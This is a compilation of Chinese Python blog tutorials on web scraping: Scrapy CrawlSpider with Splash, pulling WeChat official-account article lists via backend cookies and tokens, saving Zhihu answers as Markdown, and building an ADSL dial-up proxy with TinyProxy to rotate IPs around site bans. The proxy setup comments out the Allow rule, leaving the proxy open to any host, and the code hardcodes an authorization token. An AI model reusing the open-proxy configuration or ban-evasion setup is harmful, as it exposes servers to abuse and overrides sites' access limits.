0%

Python

估摸着各位小伙伴儿被想使用 CrawlSpider 的 Rule 来抓取 JS,相当受折磨; CrawlSpider Rule 总是不能和 Splash 结合。 废话不多说,手疼····

方法 1:

写一个自定义的函数,使用 Rule 中的 process_request 参数;来替换掉 Rule 本身 Request 的逻辑。 参考官方文档: 1、将请求更换为 SplashRequest 请求: 2、每次请求将本次请求的 URL 使用 Meta 参数传递下去; 3、重写 _requests_to_follow 方法:替换响应 Response 的 URL 为我们传递的 URL(否则会格式为 Splash 的地址) 就像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class MySpider(CrawlSpider):

name = 'innda'

def start_requests(self):
yield SplashRequest(url, dont_process_response=True, args={'wait': 0.5}, meta={'real_url': url})

rules = (
Rule(LinkExtractor(allow=('node_\d+\.htm',)), process_request='splash_request', follow=True),
Rule(LinkExtractor(allow=('content_\d+\.htm',)), callback="one_parse")
)

def splash_request(self, request):
"""
:param request: Request对象(是一个字典;怎么取值就不说了吧!!)
:return: SplashRequest的请求
"""
# dont_process_response=True 参数表示不更改响应对象类型(默认为:HTMLResponse;更改后为:SplashTextResponse)
# args={'wait': 0.5} 表示传递等待参数0.5(Splash会渲染0.5s的时间)
# meta 传递请求的当前请求的URL
return SplashRequest(url=request.url, dont_process_response=True, args={'wait': 0.5}, meta={'real_url': request.url})

def _requests_to_follow(self, response):
"""重写的函数哈!这个函数是Rule的一个方法
:param response: 这货是啥看名字都知道了吧(这货也是个字典,然后你懂的d(・∀・*)♪゚)
:return: 追踪的Request
"""
if not isinstance(response, HtmlResponse):
return
seen = set()
# 将Response的URL更改为我们传递下来的URL
# 需要注意哈! 不能直接直接改!只能通过Response.replace这个魔术方法来改!(当然你改无所谓啦!反正会用报错来报复你 (`皿´) )并且!!!
# 敲黑板!!!!划重点!!!!!注意了!!! 这货只能赋给一个新的对象(你说变量也行,怎么说都行!(*゚∀゚)=3)
newresponse = response.replace(url=response.meta.get('real_url'))
for n, rule in enumerate(self._rules):
# 我要长一点不然有人看不见------------------------------------newresponse 看见没!别忘了改!!!
links = [lnk for lnk in rule.link_extractor.extract_links(newresponse)
if lnk not in seen]
if links and rule.process_links:
links = rule.process_links(links)
for link in links:
seen.add(link)
r = self._build_request(n, link)
yield rule.process_request(r)

def one_parse(self, response):
print(response.url)

方法 2:

这就很简单啦!干掉类型检查就是了(/≧▽≦)/ 就像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class MySpider(CrawlSpider):

name = 'innda'

def start_requests(self):
yield SplashRequest(url, args={'wait': 0.5})

rules = (
Rule(LinkExtractor(allow=('node_\d+\.htm',)), process_request='splash_request', follow=True),
Rule(LinkExtractor(allow=('content_\d+\.htm',)), callback="one_parse")
)

def splash_request(self, request):
"""
:param request: Request对象(是一个字典;怎么取值就不说了吧!!)
:return: SplashRequest的请求
"""
# dont_process_response=True 参数表示不更改响应对象类型(默认为:HTMLResponse;更改后为:SplashTextResponse)
# args={'wait': 0.5} 表示传递等待参数0.5(Splash会渲染0.5s的时间)
# meta 传递请求的当前请求的URL
return SplashRequest(url=request.url, args={'wait': 0.5})

def _requests_to_follow(self, response):
"""重写的函数哈!这个函数是Rule的一个方法
:param response: 这货是啥看名字都知道了吧(这货也是个字典,然后你懂的d(・∀・*)♪゚)
:return: 追踪的Request
"""
# *************请注意我就是被注释注释掉的类型检查o(TωT)o 
# if not isinstance(response, HtmlResponse):
# return
# ************************************************
seen = set()
# 将Response的URL更改为我们传递下来的URL
# 需要注意哈! 不能直接直接改!只能通过Response.replace这个魔术方法来改!并且!!!
# 敲黑板!!!!划重点!!!!!注意了!!! 这货只能赋给一个新的对象(你说变量也行,怎么说都行!(*゚∀゚)=3)
# newresponse = response.replace(url=response.meta.get('real_url'))
for n, rule in enumerate(self._rules):
# 我要长一点不然有人看不见------------------------------------newresponse 看见没!别忘了改!!!
links = [lnk for lnk in rule.link_extractor.extract_links(response)
if lnk not in seen]
if links and rule.process_links:
links = rule.process_links(links)
for link in links:
seen.add(link)
r = self._build_request(n, link)
yield rule.process_request(r)

以上完毕@_@!!

Python

各位小伙儿伴儿,一定深受过采集微信公众号之苦吧!特别是!!!!!!公共号历史信息!!!这丫除了通过中间代理采集 APP、还真没什么招数能拿到数据啊! 直到············ 前天晚上微信官方发布了一个文章:点我 大致意思是说以后发布文章的时候可以直接插入其它公众号的文章了。 诶妈呀!这不是一直需要的采集接口嘛!啧啧 天助我也啊!来来·········下面大致的说一下方法。

1、首先你需要一个订阅号! 公众号、和企业号是否可行我不清楚。因为我木有·····

2、其次你需要登录!

微信公众号登录我没仔细看。 这个暂且不说了,我使用的是 selenium 驱动浏览器获取 Cookie 的方法、来达到登录的效果。

3、使用 requests 携带 Cookie、登录获取 URL 的 token(这玩意儿很重要每一次请求都需要带上它)像下面这样:

4、使用获取到的 token、和公众号的微信号(就是数字+字符那种)、获取到公众号的 fakeid(你可以理解公众号的标识)

我们在搜索公众号的时候浏览器带着参数以 GET 方法想红框中的 URL 发起了请求。请求参数如下:

请求相应如下:

代码如下:

好了 我们再继续:

5、点击我们搜索到的公众号之后、又发现一个请求:

请求参数如下:

返回如下:

代码如下:

好了···最后一步、获取所有文章需要处理一下翻页、翻页请求如下:

我大概看了一下、极客学院每一页大概至少有 5 条信息、也就是总文章数/5 就是有多少页。但是有小数、我们取整,然后加 1 就是总页数了。

代码如下:

item.get(‘link’)就是我们需要的公众号文章连接啦!继续请求这个 URL 提取里面的内容就是啦!

以下是完整的测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from selenium import webdriver
import time
import json
from pprint import pprint

post = {}

driver = webdriver.Chrome(executable_path='C:\chromedriver.exe')
driver.get('https://mp.weixin.qq.com/')
time.sleep(2)
driver.find_element_by_xpath("./*//input[@id='account']").clear()
driver.find_element_by_xpath("./*//input[@id='account']").send_keys('你的帐号')
driver.find_element_by_xpath("./*//input[@id='pwd']").clear()
driver.find_element_by_xpath("./*//input[@id='pwd']").send_keys('你的密码')
# 在自动输完密码之后记得点一下记住我
time.sleep(5)
driver.find_element_by_xpath("./*//a[@id='loginBt']").click()
# 拿手机扫二维码!
time.sleep(15)
driver.get('https://mp.weixin.qq.com/')
cookie_items = driver.get_cookies()
for cookie_item in cookie_items:
post[cookie_item['name']] = cookie_item['value']
cookie_str = json.dumps(post)
with open('cookie.txt', 'w+', encoding='utf-8') as f:
f.write(cookie_str)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import redis
import json
import re
import random
import time

gzlist = ['yq_Butler']


url = 'https://mp.weixin.qq.com'
header = {
"HOST": "mp.weixin.qq.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
}

with open('cookie.txt', 'r', encoding='utf-8') as f:
cookie = f.read()
cookies = json.loads(cookie)
response = requests.get(url=url, cookies=cookies)
token = re.findall(r'token=(\d+)', str(response.url))[0]
for query in gzlist:
query_id = {
'action': 'search_biz',
'token' : token,
'lang': 'zh_CN',
'f': 'json',
'ajax': '1',
'random': random.random(),
'query': query,
'begin': '0',
'count': '5',
}
search_url = 'https://mp.weixin.qq.com/cgi-bin/searchbiz?'
search_response = requests.get(search_url, cookies=cookies, headers=header, params=query_id)
lists = search_response.json().get('list')[0]
fakeid = lists.get('fakeid')
query_id_data = {
'token': token,
'lang': 'zh_CN',
'f': 'json',
'ajax': '1',
'random': random.random(),
'action': 'list_ex',
'begin': '0',
'count': '5',
'query': '',
'fakeid': fakeid,
'type': '9'
}
appmsg_url = 'https://mp.weixin.qq.com/cgi-bin/appmsg?'
appmsg_response = requests.get(appmsg_url, cookies=cookies, headers=header, params=query_id_data)
max_num = appmsg_response.json().get('app_msg_cnt')
num = int(int(max_num) / 5)
begin = 0
while num + 1 > 0 :
query_id_data = {
'token': token,
'lang': 'zh_CN',
'f': 'json',
'ajax': '1',
'random': random.random(),
'action': 'list_ex',
'begin': '{}'.format(str(begin)),
'count': '5',
'query': '',
'fakeid': fakeid,
'type': '9'
}
print('翻页###################',begin)
query_fakeid_response = requests.get(appmsg_url, cookies=cookies, headers=header, params=query_id_data)
fakeid_list = query_fakeid_response.json().get('app_msg_list')
for item in fakeid_list:
print(item.get('link'))
num -= 1
begin = int(begin)
begin+=5
time.sleep(2)

以上完毕!这就是个测试、代码写得奇丑、各位将就着看啊!看不明白?没关系!看这儿:点我看视频

Python

20170609 更新:

感谢一介草民与 ftzz 的反馈

(1) 修复中文路径保存问题

(2) 修复 offset 问题

(3) 修复第一个问题

来个好玩的东西

20170607 更新:

(1) 感谢 Ftzz 提醒, 将图片替换为原图

(2) 将文件保存到本地,解决了最大的缺点问题,不用联网也可以看了

大家好,我是四毛。 写在前面的话 在开始前,给大家分享一个前段时间逛 Github 时看到的某个爬虫脚本中的内容: 所以,大家爬网站的时候,还是友善一点为好,且爬且珍惜啊。 好了,言归正传。 今天主要讲一下如何将某一个知乎问题的所有答案转换为本地 MarkDown 文件。

前期准备

python2.7 html2text markdownpad(这里随意,只要可以支持 md 就行) 会抓包。。。。。 最重要的是你要有代理,因为知乎开始封 IP 了

1.什么是 MarkDown 文件

Markdown 是一种用来写作的轻量级「标记语言」,它用简洁的语法代替排版,而不像一般我们用的字处理软件 WordPages 有大量的排版、字体设置。它使我们专心于码字,用「标记」语法,来代替常见的排版格式。例如此文从内容到格式,甚至插图,键盘就可以通通搞定了。 恩,上面是我抄的,哈哈。想多了解的可以看看这里

2.为什么要将答案转为 MarkDwon

因为。。。。。。懒,哈哈,开个玩笑。最重要的原因还是 markdown 看着比较舒服。平时写脚本的时候,也一直在思考一个问题,如何将一个文字与图片穿插的网页原始的保存下来呢。如果借助工具的话,那就很多了,CTRL+P 打印的时候,选择另存为 PDF,或者搞个印象笔记,直接保存整个网页。那么,我们如何用爬虫实现呢?正好前几天看到了这个项目,仔细研究了一下,大受启发。

3.原理

原理说起来很简单:获取请求到的内容的 BODY 部分,然后重新构建一个 HTML 文件,接着利用 html2text 这个模块将其转换为 markdown 文件,最后对图片及标题按照 markdown 的格式做一些处理就好了。目前应用的场景主要是在知乎。

4.Show Code

4.1 获取知乎答案

写代码的时候,主要考虑了两种使用场景。第一,获取某一特定答案的数据然后进行转换;第二,获取某一个问题的所有答案进行然后挨个进行转换,在这里可以 通过赞同数来对要获取的答案进行质量控制。 4.1.1、某一个特定答案的数据获取

url:https://www.zhihu.com/question/27621722/answer/48658220(前面那个是问题ID,后边的是答案ID)

这一数据的获取我这里分为了两个部分,第一部分请求上述网址,拿到答案主体数据以及赞同数,第二部分请求下面这个接口:

https://www.zhihu.com/api/v4/answers/48658220

为什么会这样?因为这个接口得到的答案正文数据不是完整数据,所以只能分两步了。 4.1.2、某一个特定答案的数据获取 这一个数据就可以通过很简单的方式得到了,接口如下:

https://www.zhihu.com/api/v4/questions/27621722/answers?sort_by=default&include=data%5B%2A%5D.is_normal%2Cis_collapsed%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Cmark_infos%2Ccreated_time%2Cupdated_time%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cupvoted_followees%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics&limit=20&offset=3

返回的都是 JSON 数据,很方便获取。但是这里有一个地方需要注意,从这里面取的答案正文数据就是文本数据,不是一个完整的 html 文件,所以需要在构造一下。 4.1.2、保存的字段

author_name 回答用户名 answer_id 答案 ID question_id 问题 ID question_title 问题 vote_up_count 赞同数 create_time 创建时间 答案主体

4.2 Code

主脚本:zhihu.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by shimeng on 17-6-5
import os
import re
import json
import requests
import html2text
from parse_content import parse

"""
just for study and fun
Talk is cheap
show me your code
"""

class ZhiHu(object):
def __init__(self):
self.request_content = None

def request(self, url, retry_times=10):
header = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
'authorization': 'oauth c3cef7c66a1843f8b3a9e6a1e3160e20',
'Host': 'www.zhihu.com'
}
times = 0
while retry_times>0:
times += 1
print 'request %s, times: %d' %(url, times)
try:
ip = 'your proxy ip'
if ip:
proxy = {
'http': 'http://%s' % ip,
'https': 'http://%s' % ip
}
self.request_content = requests.get(url, headers=header, proxies=proxy, timeout=10).content
except Exception, e:
print e
retry_times -= 1
else:
return self.request_content

def get_all_answer_content(self, question_id, flag=2):
first_url_format = 'https://www.zhihu.com/api/v4/questions/{}/answers?sort_by=default&include=data%5B%2A%5D.is_normal%2Cis_collapsed%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Cmark_infos%2Ccreated_time%2Cupdated_time%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cupvoted_followees%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics&limit=20&offset=3'
first_url = first_url_format.format(question_id)
response = self.request(first_url)
if response:
contents = json.loads(response)
print contents.get('paging').get('is_end')
while not contents.get('paging').get('is_end'):
for content in contents.get('data'):
self.parse_content(content, flag)
next_page_url = contents.get('paging').get('next').replace('http', 'https')
contents = json.loads(self.request(next_page_url))
else:
raise ValueError('request failed, quit......')

def get_single_answer_content(self, answer_url, flag=1):
all_content = {}
question_id, answer_id = re.findall('https://www.zhihu.com/question/(\d+)/answer/(\d+)', answer_url)[0]

html_content = self.request(answer_url)
if html_content:
all_content['main_content'] = html_content
else:
raise ValueError('request failed, quit......')

ajax_answer_url = 'https://www.zhihu.com/api/v4/answers/{}'.format(answer_id)
ajax_content = self.request(ajax_answer_url)
if ajax_content:
all_content['ajax_content'] = json.loads(ajax_content)
else:
raise ValueError('request failed, quit......')

self.parse_content(all_content, flag, )

def parse_content(self, content, flag=None):
data = parse(content, flag)
self.transform_to_markdown(data)

def transform_to_markdown(self, data):
content = data['content']
author_name = data['author_name']
answer_id = data['answer_id']
question_id = data['question_id']
question_title = data['question_title']
vote_up_count = data['vote_up_count']
create_time = data['create_time']

file_name = u'%s--%s的回答[%d].md' % (question_title, author_name,answer_id)
folder_name = u'%s' % (question_title)

if not os.path.exists(os.path.join(os.getcwd(),folder_name)):
os.mkdir(folder_name)
os.chdir(folder_name)

f = open(file_name, "wt")
f.write("-" * 40 + "\n")
origin_url = 'https://www.zhihu.com/question/{}/answer/{}'.format(question_id, answer_id)
f.write("## 本答案原始链接: " + origin_url + "\n")
f.write("### question_title: " + question_title.encode('utf-8') + "\n")
f.write("### Author_Name: " + author_name.encode('utf-8') + "\n")
f.write("### Answer_ID: %d" % answer_id + "\n")
f.write("### Question_ID %d: " % question_id + "\n")
f.write("### VoteCount: %s" % vote_up_count + "\n")
f.write("### Create_Time: " + create_time + "\n")
f.write("-" * 40 + "\n")

text = html2text.html2text(content.decode('utf-8')).encode("utf-8")
# 标题
r = re.findall(r'**(.*?)**', text, re.S)
for i in r:
if i != " ":
text = text.replace(i, i.strip())

r = re.findall(r'_(.*)_', text)
for i in r:
if i != " ":
text = text.replace(i, i.strip())
text = text.replace('_ _', '')

# 图片
r = re.findall(r'![]\((?:.*?)\)', text)
for i in r:
text = text.replace(i, i + "\n\n")

f.write(text)

f.close()


if __name__ == '__main__':
zhihu = ZhiHu()
url = 'https://www.zhihu.com/question/27621722/answer/105331078'
zhihu.get_single_answer_content(url)

# question_id = '27621722'
# zhihu.get_all_answer_content(question_id)

zhihu.py 为主脚本,内容很简单,发起请求,调用解析函数进行解析,最后再进行保存。 解析函数脚本:parse_content.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by shimeng on 17-6-5
import time
from bs4 import BeautifulSoup


def html_template(data):
# api content
html = '''
<html>
<head>
<body>
%s
</body>
</head>
</html>
''' % data
return html


def parse(content, flag=None):
data = {}
if flag == 1:
# single
main_content = content.get('main_content')
ajax_content = content.get('ajax_content')

soup = BeautifulSoup(main_content.decode("utf-8"), "lxml")
answer = soup.find("span", class_="RichText CopyrightRichText-richText")

author_name = ajax_content.get('author').get('name')
answer_id = ajax_content.get('id')
question_id = ajax_content.get('question').get('id')
question_title = ajax_content.get('question').get('title')
vote_up_count = soup.find("meta", itemprop="upvoteCount")["content"]
create_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(ajax_content.get('created_time')))


else:
# all
answer_content = content.get('content')

author_name = content.get('author').get('name')
answer_id = content.get('id')
question_id = content.get('question').get('id')
question_title = content.get('question').get('title')
vote_up_count = content.get('voteup_count')
create_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(content.get('created_time')))

content = html_template(answer_content)
soup = BeautifulSoup(content, 'lxml')
answer = soup.find("body")

print author_name,answer_id,question_id,question_title,vote_up_count,create_time
# 这里非原创,看了别人的代码,修改了一下
soup.body.extract()
soup.head.insert_after(soup.new_tag("body", **{'class': 'zhi'}))

soup.body.append(answer)

img_list = soup.find_all("img", class_="content_image lazy")
for img in img_list:
img["src"] = img["data-actualsrc"]
img_list = soup.find_all("img", class_="origin_image zh-lightbox-thumb lazy")
for img in img_list:
img["src"] = img["data-actualsrc"]
noscript_list = soup.find_all("noscript")
for noscript in noscript_list:
noscript.extract()

data['content'] = soup
data['author_name'] = author_name
data['answer_id'] = answer_id
data['question_id'] = question_id
data['question_title'] = question_title
data['vote_up_count'] = vote_up_count
data['create_time'] = create_time

return data

parse_content.py 主要负责构造新的 html,然后对其进行解析,获取数据。

5.测试结果展示

恩,下面还有,就不截图了。

6.缺点与不足

下面聊一聊这种方法的缺点: 这种方法的最大缺点就是:

一定要联网!

一定要联网!

一定要联网!

因为。。。。。。 在 md 文件中我们只是写了个图片的网址,这就意味着 markdown 的编辑器帮我们去存放图片的服务器上对这个图片进行了获取,所以断网也就意味着你看不到图片了;同时也意味着如果用户删除了这张图片,你也就看不到了。 但是,后来我又发现在 markdownpad 中将文件导出为 html 时,即使是断网了,依然可以看到全部的内容,包括图片,所以如果你真的喜欢某一个答案,保存到印象笔记肯定是不错的选择,PDF 直接保存也不错,如果是使用了这个方法,记得转为 html 最好。 还有一个缺点就是 html2text 转换过后的效果其实并不是特别好,还是需要后期在进行处理的。

7.总结

代码还有很多可以改进之处,欢迎大家与我交流:QQ:549411552 (注明来自静觅) 国际惯例:代码在这 收工。

Python

我们尝试维护过一个免费的代理池,但是代理池效果用过就知道了,毕竟里面有大量免费代理,虽然这些代理是可用的,但是既然我们能刷到这个免费代理,别人也能呀,所以就导致这个代理同时被很多人使用来抓取网站,所以当我们兴致勃勃地拿他来抓取某个网站的时候,会发现它还是被网站封禁的状态,所以在某些情况下免费代理池的成功率还是比较低的。 当然我们也可以去购买一些代理,比如几块钱提取几百几千个的代理,然而经过测试后质量也是很一般,也可以去购买专线代理,不过价格也是不菲的。那么目前最稳定而且又保证可用的代理方法就是设置ADSL拨号代理了。 本篇来讲解一下ADSL拨号代理服务器的相关设置。

什么是ADSL

大家可能对ADSL比较陌生,ADSL全称叫做Asymmetric Digital Subscriber Line,非对称数字用户环路,因为它的上行和下行带宽不对称。它采用频分复用技术把普通的电话线分成了电话、上行和下行三个相对独立的信道,从而避免了相互之间的干扰。 有种主机叫做动态拨号VPS主机,这种主机在连接上网的时候是需要拨号的,只有拨号成功后才可以上网,每拨一次号,主机就会获取一个新的IP,也就是它的IP并不是固定的,而且IP量特别大,几乎不会拨到相同的IP,如果我们用它来搭建代理,既能保证高度可用,又可以自由控制拨号切换。 经测试发现这也是最稳定最有效的代理方式,本节详细介绍一下ADSL拨号代理服务器的搭建方法。

购买动态拨号VPS主机

所以在开始之前,我们需要先购买一台动态拨号VPS主机,这样的主机在百度搜索一下,服务商还是相当多的,在这里推荐一家云立方,感觉还是比较良心的,非广告。 配置的话可以自行选择,看下带宽是否可以满足需求就好了。 购买完成之后,就需要安装操作系统了,进入拨号主机的后台,首先预装一个操作系统。 在这里推荐安装CentOS7系统。 然后找到远程管理面板找到远程连接的用户名和密码,也就是SSH远程连接服务器的信息。 比如我这边的IP端口分别是 153.36.65.214:20063,用户名是root。 命令行下输入:

1
ssh root@153.36.65.214 -p 20063

然后输入管理密码,就可以连接上远程服务器了。 进入之后,可以发现有一个可用的脚本文件,叫做ppp.sh,这是拨号初始化的脚本,运行它会让我们输入拨号的用户名和密码,然后它就会开始各种拨号配置,一次配置成功,后面的拨号就不需要重复输入用户名和密码了。 运行ppp.sh脚本,输入用户名密码等待它的配置完成。 都提示成功之后就可以进行拨号了。 在拨号之前如果我们测试ping任何网站都是不通的,因为当前网络还没联通,输入拨号命令:

1
adsl-start

可以发现拨号命令成功运行,没有任何报错信息,这就证明拨号成功完成了,耗时约几秒钟。接下来如果再去ping外网就可以通了。 如果要停止拨号可以输入:

1
adsl-stop

停止之后,可以发现又连不通网络了。

所以只有拨号之后才可以建立网络连接。 所以断线重播的命令就是二者组合起来,先执行adsl-stop再执行adsl-start,每拨一次号,ifocnfig命令观察一下主机的IP,发现主机的IP一直是在变化的,网卡名称叫做ppp0。 所以,到这里我们就可以知道它作为代理服务器的巨大优势了,如果将这台主机作为代理服务器,如果我们一直拨号换IP,就不怕遇到IP被封的情况了,即使某个IP被封了,重新拨一次号就好了。 所以接下来我们要做的就有两件事,一是怎样将主机设置为代理服务器,二是怎样实时获取拨号主机的IP。

设置代理服务器

之前我们经常听说代理服务器,也设置过不少代理了,但是可能没有自己设置吧,自己有一台主机怎样设置为代理服务器呢?接下来我们就亲自试验下怎样搭建HTTP代理服务器。 在Linux下搭建HTTP代理服务器,推荐TinyProxy和Squid,配置都非常简单,在这里我们以TinyProxy为例来讲解一下怎样搭建代理服务器。

安装TinyProxy

当然第一步就是安装TinyProxy这个软件了,在这里我使用的系统是CentOS,所以使用yum来安装,如果是其他系统如Ubuntu可以选择apt-get等命令安装,都是类似的。 命令行执行yum安装指令:

1
2
3
yum install -y epel-release
yum update -y
yum install -y tinyproxy

运行完成之后就可以完成tinyproxy的安装了。

配置TinyProxy

安装完成之后还需要配置一下TinyProxy才可以用作代理服务器,需要编辑配置文件,它一般的路径是/etc/tinyproxy/tinyproxy.conf。 可以看到有一行

1
Port 8888

在这里可以设置代理的端口,默认是8888。 然后继续向下找,有这么一行

1
Allow 127.0.0.1

这是被允许连接的主机的IP,如果想任何主机都可以连接,那就直接将它注释即可,所以在这里我们选择直接注释,也就是任何主机都可以使用这台主机作为代理服务器了。 修改为

1
# Allow 127.0.0.1

设置完成之后重启TinyProxy即可。

1
service tinyproxy start

验证TinyProxy 好了,这样我们就成功搭建好代理服务器了,首先ifconfig查看下当前主机的IP,比如当前我的主机拨号IP为112.84.118.216,在其他的主机运行测试一下。 比如用curl命令设置代理请求一下httpbin,检测下代理是否生效。

1
curl -x 112.84.118.216:8888 httpbin.org/get

如果有正常的结果输出并且origin的值为代理IP的地址,就证明TinyProxy配置成功了。 好,那到现在,我们接下来要做的就是需要动态实时获取主机的IP了。

动态获取IP

真正的好戏才开始呢,我们怎样动态获取主机的IP呢?可能你首先想到的是DDNS也就是动态域名解析服务,我们需要使用一个域名来解析,也就是虽然IP是变的,但域名解析的地址可以随着IP的变化而变化。 它的原理其实是拨号主机向固定的服务器发出请求,服务器获取客户端的IP,然后再将域名解析到这个IP上就可以了。 国内比较有名的服务就是花生壳了,也提供了免费版的动态域名解析,另外DNSPOD也提供了解析接口来动态修改域名解析设置,DNSPOD,但是这样的方式都有一个通病,那就是慢! 原因在于DNS修改后到完全生效是需要一定时间的,所以如果在前一秒拨号了,这一秒的域名解析的可能还是原来的IP,时间长的话可能需要几分钟,也就是说这段时间内,服务器IP已经变了,但是域名还是上一次拨号的IP,所以代理是不能用的,对于爬虫这种秒级响应的需求,是完全不能接受的。 所以根据花生壳的原理,可以完全自己实现一下动态获取IP的方法。 所以本节重点介绍的就是怎样来实现实时获取拨号主机IP的方法。 要实现这个需要两台主机,一台主机就是这台动态拨号VPS主机,另一台是具有固定公网IP的主机。动态VPS主机拨号成功之后就请求远程的固定主机,远程主机获取动态VPS主机的IP,就可以得到这个代理,将代理保存下来,这样拨号主机每拨号一次,远程主机就会及时得到拨号主机的IP,如果有多台拨号VPS,也统一发送到远程主机,这样我们只需要从远程主机取下代理就好了,保准是实时可用,稳定高效的。 整体思路大体是这样子,当然为了更完善一下,我们要做到如下功能: 远程主机:

  • 监听主机请求,获取动态VPS主机IP
  • 将VPS主机IP记录下来存入数据库,支持多个客户端
  • 检测当前接收到的IP可用情况,如果不可用则删除
  • 提供API接口,通过API接口可获取当前可用代理IP

拨号VPS:

  • 定时执行拨号脚本换IP
  • 换IP后立即请求远程主机
  • 拨号后检测是否拨号成功,如果失败立即重新拨号

远程主机实现

说了这么多,那么我们就梳理一下具体的实现吧,整个项目我们用Python3实现。

数据库

远程主机作为一台服务器,动态拨号VPS会定时请求远程主机,远程主机接收到请求后将IP记录下来存入数据库。 因为IP是一直在变化的,IP更新了之后,原来的IP就不能用了,所以对于一个主机来说我们可能需要多次更新一条数据。另外我们不能仅限于维护一台拨号VPS主机,当然是需要支持多台维护的。在这里我们直接选用Key-Value形式的非关系型数据库存储更加方便,所以在此选用Redis数据库。 既然是Key-Value,Key是什么?Value是什么?首先我们能确定Value就是代理的值,比如112.84.119.67:8888,那么Key是什么?我们知道,这个IP是针对一台动态拨号VPS的,而且这个值会不断地变,所以我们需要有一个不变量Key来唯一标识这台主机,所以在这里我们可以把Key当做主机名称。名称怎么来?自己取就好了,只要每台主机的名字不重复,我们就可以区分出是哪台主机了,这个名字可以在拨号主机那边指定,然后传给远程主机就好了。 所以,在这里数据库我们选用Redis,Key就是拨号主机的名称,可以自己指定,Value就是代理的值。 所以可以写一个操作Redis数据库的类,参考如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
class RedisClient(object):
def __init__(self, host=REDIS_HOST, port=REDIS_PORT):
self.db = redis.Redis(host=host, port=port, password=REDIS_PASSWORD)
self.proxy_key = PROXY_KEY

def key(self, name):
return '{key}:{name}'.format(key=self.proxy_key, name=name)

def set(self, name, proxy):
return self.db.set(self.key(name), proxy)

def get(self, name):
return self.db.get(self.key(name)).decode('utf-8')

首先初始化Redis连接,我们可以将Key设计成adsl:vm1这种形式,冒号前面是总的key,冒号后面是主机名称name,这样显得结构更加清晰。 然后指定set()和get()方法,用来存储代理和获取代理。

请求处理

拨号主机会一直向远程主机发送请求,远程主机当然可以获取拨号主机的IP,但是代理端口是无法获得的,我们在拨号主机上设置了TinyProxy或者Squid,但是服务器不知道是在哪个端口开的,所以端口也是需要客户端传给远程主机的。远程主机接收到请求后,将解析得到的IP和端口合并就可以作为完整的代理保存了。 所以现在我们知道拨号主机需要传送给远程主机的信息已经有两个了,一是拨号主机本身的名称,二是代理的端口。

通信秘钥

为了保证远程主机不被恶意的请求干扰,可以设置一个传输秘钥,最简单的方式可以二者共同规定一个秘钥字符串,拨号主机在传送这个字符串,远程主机匹配一下,如果能正确匹配,那就进行下一步的处理,如果不能匹配,那么可能是恶意请求,就忽略这个请求。 当然肯定有更好的加密传输方式,但为了方便起见可以用如上来做。 所以客户机还需要传送一个数据,那就是通信秘钥,一共需要传送三个数据。 所以我们需要架设一个服务器,一直监听客户端的请求,在这里我们用tornado实现。 tornado的安装也非常简单,利用pip安装即可:

1
pip3 install tornado

定义一个处理拨号主机请求的方法,在这里我们使用post请求,参考如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def post(self):
token = self.get_body_argument('token', default=None, strip=False)
port = self.get_body_argument('port', default=None, strip=False)
name = self.get_body_argument('name', default=None, strip=False)
if token == TOKEN and port:
ip = self.request.remote_ip
proxy = ip + ':' + port
print('Receive proxy', proxy)
self.redis.set(name, proxy)
self.test_proxies()
elif token != TOKEN:
self.write('Wrong Token')
elif not port:
self.write('No Client Port')

